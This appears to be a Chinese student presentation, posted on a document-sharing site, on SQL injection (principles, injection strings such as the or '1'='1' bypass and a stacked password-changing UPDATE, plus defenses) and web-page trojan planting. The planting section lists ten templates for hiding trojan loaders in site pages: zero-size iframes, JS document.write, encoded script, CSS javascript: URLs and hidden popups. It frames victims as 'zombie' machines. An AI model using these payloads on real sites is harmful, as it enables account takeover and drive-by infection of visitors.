版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
SQL注入和网页挂马2015140121杨诚2015140122林尚朕2015140127梁杰林2015140119禹业藂2015140116苏治武1.
SQL注入SQL注入原理SQL注入方式SQL注入防范2.网页挂马网页挂马原理常见的挂马种类挂马案例演示1.1
SQL注入原理SQL注入攻击是黑客通过正常的用户输入接口对后台数据库进行攻击的常用手段之一。攻击者在应用程序对外公开的用户端口中输入自己别有用心构造的SQL语句,对应用程序后台数据库进行违反设计者初衷的操作,对数据库里的信息进行有害的操作,甚至获取管理人权限,造成更大的危害。由于程序设计人员技术和经验参差不齐,有些程序员对用户输入的信息没有进行检查,过滤和限制,那样,居心叵测的攻击者构造的SQL语句就可以和正常的用户输入信息一样畅通无阻进入系统并被执行,根据返回结果,攻击者就可以达到试探或者获取后台数据库的相关信息的目的,以便进行进一步攻击。一般来说,SQL注入的操作在表面上和正常用户访问一样,防火墙等很难识别,如果管理员不常查看日志,很难及时发现SQL注入攻击,其隐蔽性增强了其危
害性。1.2
SQL注入方式①瞒天过海——注入“or”形式恒真选择语句,获取返回结果集。例如,一般的用户登陆认证是通过把用户输入的信息于数据库里的信息进行匹配,通过select语句检索结果集,如果结果集不为空,则判断为通过验证,返回结果集。攻击者通过构造“or”型恒真选择语句,把所有记录选出来,从而通过认证,获取数据。正常查询:select
*from
【表名】where
【列名】='xxx'只可选出列名为xxx的记录注入后的:select
*
from
【表名】where
【列名】='xxx'or
'1'='1'
这样就可以选出全表记录了在password栏输入:jj‘or’1‘=’1后可以直接获取返回结果集中的第一个用户信息。②抛砖引玉——利用返回的错误提示信息系统的错误提示信息包含有一些可以推测出数据库名字、数据表名字的构成信息,如果设计者向用户展示这些错误信息,就为攻击者猜测数据库结构,注入攻击提供方便。攻击者利用一些系统函数,系统变量来设计SQL语句,试探性的让系统执行,通过系统返回的错误提示信息来获得数据库名,表名等,来摸清后台数据库的大致结构,进一步进行SQL注入攻击。③夹带私货——用“;”附带上攻击者的新SQL语句。如果后台数据库支持一条语句中包含多条查询的话,在原来的语句后加上攻击
者的SQL语句,用";"分隔开,就可以执行攻击者的SQL语句,一般包括Insert,Delete,Update等语句。如果设计者不去防止这种在原查询后接非法SQL语句的漏洞,就坑能在执行完原语句后,接着执行攻击者的语句,攻击者就为所欲为了。例如:Select
*from
【表名】where
【条件】;Insert
Into
【表名】(【列名1】,【列名2】...)values('值1','值2'...)这就不知不觉中插入了攻击者设定的记录。在password栏输入jj‘or’1‘=’1‘;update
account
set
password=’sql‘where
name=’林尚朕后可以直接修改“林尚朕”用户的密码SQL注入前:SQL注入后:④猜测相关表名列名字段名攻击者根据自己经验猜测相关表名,字段名,编写SQL语句注入,让其执行。如果能成功执行,则证明猜测成功,否则猜错,重新猜。1.3
SQL注入防范数据有效性校验。如果一个输入框只可能包括数字,那么要通过校验确保用户输入的都是数字。如果可以接受字母,那就要检查是不是存在不可接受的字符,最好的方法是增加字符复杂度自动验证功能。确保应用程序要检查以下字符:分号、等号、破折号、括号以及SQL关键字。另外限制表单数据输入和查询字符串输入的长度也是一个好方法。如果用户的登录名最多只有10个字符,那么不要认可表单中输入10个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。封装数据信息。对客户端提交的数据进行封装,不要将数据直接存入cookie中,方法就是在编程的代码中,插入session、if、try、else,这样可以有效地防止攻击者获取cookie中的重要信息。去除代码中的敏感信息。将在代码中存在的用户名、口令信息等敏感字段删除,替换成输入框。替换或删除单引号。使用双引号替换掉所有用户输入的单引号,这个简单的预防措施将在很大程度上预防SQL注入漏洞攻击,单引号时常会无法约束插入数据的Value,可能给予输入者不必要的权限。用双引号替换掉单引号可以使大部分SQL注入漏洞攻击失败。指定错误返回页面。攻击者有时从客户端尝试提交有害代码和攻击字符串,根据WebService给出的错误提示信息来收集程序及服务器的信息,从而获取想得到的资料。应在Web
Service中指定一个不包含任何信息的错误提示页面。限制SQL字符串连接的配置文件。使用SQL变量,因为变量不是可以执行的脚本,即在Web页面中将连接数据库的SQL字符串替换成指定的Value,然后将
Web.config文件进行加密,拒绝访问。设置Web目录的访问权限。将虚拟站点的文件目录禁止游客用户(如:
Guest用户等)访问,将User用户权限修改成只读权限,切勿将管理权限的用户添加到访问列表。最小服务原则。Web服务器应以最小权限进行配置,只提供Web服务,这样可以有效地阻止系统的危险命令,如ftp、cmd、vbscript等。鉴别信息加密存储。将保存在数据库users表中的用户名、口令信息以密文形式保存,也可以对users表进行加密处理,这样可以大大增加对鉴别信息访问的安全级别。用户权限分离。应尽可能的禁止或删除数据库中sa权限用户的访问,对不同的数据库划分不同的用户权限,这样不同的用户只能对授权给自己的数据库执行查询、插入、更新、删除操作,就可以防止不同用户对非授权的数据库进行访问。在javaweb中,如果使用Statement连接数据库的话,会直接把参数拼接到sql里,容易被SQL注入攻击。使用PreparedStatement
执行查询的时候已经对sql进行了严格的处理,采用占位符,对特殊字符进行特殊转换,防止sql注入。2.1
网页挂马原理作为网页挂马的散布者,其目的是将木马下载到用户本地,并进一步执行,当木马获
得执行之后,就意味着会有更多的木马被下载,进一步被执行,进入一个恶性的循环,从而使用户的电脑遭到攻击和控制。为达到目的首先要将木马下载到本地。
通俗点说,就是在人家网站的主页那里插入一个自己的网马的页面,等有漏洞的人查看了人家网站的主页,那么他就成了你的肉鸡了。2.2
常见的网页挂马我们选取用来插马的页面一般是网站的首页比如:index.htm、index.html、index.asp、index.aspx、index.php、index.jsp、
default.htm、default.html
default.asp
default.aspx
default.jsp
default.php等等,大家就自己记录下来吧,其他页面也可以插入,只要人家没有打上补丁一:框架挂马<iframe
src=地址width=0
height=0></iframe>二:js文件挂马
首先将以下代码document.write("<iframe
width='0'height='0'src='地址'></iframe>");保存为xxx.js,则JS挂马代码为<script
language=javascript
src=xxx.js></script>三:js变形加密<SCRIPT
language="JScript.Encode"
/muma.txt></script>muma.txt可改成任意后缀四:body挂马<body
onload="window.location='地址';"></body>五:隐蔽挂马top.document.body.innerHTML
=
top.document.body.innerHTML
+'\r\n<iframesrc=""></iframe>';六:css中挂马body
{background-image:
url('javascript:document.write("<script
/muma.js></script>")')}七:JAJA挂马<SCRIPT
language=javascript>window.open("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");</script>八:图片伪装<html><iframe
src="网马地址"height=0
width=0></iframe><img
src="图片地址"></img></html>九:伪装调用:<frameset
rows="444,0"
cols="*"><frame
src="打开网页"framborder="no"scrolling="auto"noresizemarginwidth="0"margingheight="0"><frame
src="网马地址"frameborder="no"scrolling="no"noresizemarginwidth="0"margingheight="0"></frameset>十:高级欺骗<a
href="(迷惑连接地址,显示这个地址指向木马地址)"onMouseOver="();returntrue;">
页面要显示的内容</a><SCRIPT
Language="JavaScript">function
(){var
url="网马地址";open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");}</SCRIPT>2.3
网页挂马演示举例2.3.1
图片伪装演示<html>1
<iframe
src="欺骗网页.html"
height=0
width=0></iframe>2
<img
src="m12.jpg"/></html>2处:正常的网页内容1处:在iframe标签中,我们嵌入了一个欺骗网页,这个网页
height=0
width=0,网页内容对于用户来说是看不见的。2.3.2
欺骗页面<html><body>1
<script
type="text/javascript">alert("您的网页被劫持了");</script>2
<img
src="m12.jpg"/></body></html>1处2处:我们可以写一些获取用户隐私信息的代码,用户不可见弹出对话框只是为了演示效果好2.3.3
演示效果2.3.4
高级欺骗演示<a
href=""onMouseOver="();return
true;">
网易163网站</a><SCRIPT
Language="JavaScript">function
(){var
url="欺骗页面.html";open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=1,height=1,left=10,top=10");}</SCRIPT>1处:是我们见到的正常的页面,onMouseOver事件我们执行了一个隐藏的页面,页面
width=1,height=1
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 高新金属磁材料产业化生产线项目可行性研究报告模板-立项申报用
- 护理人文素养与职业道德
- 护理思维与护理风险管理
- Gamma-heptalactone-γ-Oenantholacton-生命科学试剂-MCE
- 宫腔镜术前术后护理整体方案
- 2026年浙江丽水市国际投资促进中心招考1人易考易错模拟试题(共500题)试卷后附参考答案
- 2026年泸州泸县文化体育广播电影电视局广播电视台事业单位招考公易考易错模拟试题(共500题)试卷后附参考答案
- 2026年河南省洛阳市孟津县朝阳镇政府招聘20人易考易错模拟试题(共500题)试卷后附参考答案
- 2026年河南漯河市事业单位招聘笔试易考易错模拟试题(共500题)试卷后附参考答案
- 2026年河南安阳市财政国库支付中心招聘工作人员15人易考易错模拟试题(共500题)试卷后附参考答案
- 中学实验技能赛方案
- T/CNSS 018-2023预包装食品血糖生成指数标示规范
- 2025内蒙古赤峰林西县招聘社区工作者74人备考考试试题及答案解析
- 城市污水管网沿线绿化与恢复方案
- 新疆保密管理办法
- 肝性脑病合并糖尿病护理
- 方太电烤箱KQD50F-C2说明书
- 纵隔肿瘤手术麻醉管理
- 工艺报警分级管理制度
- 腾讯音乐2025年音乐营销手册
- 北京课改版五年级下册小学英语全册单元知识点小结
评论
0/150
提交评论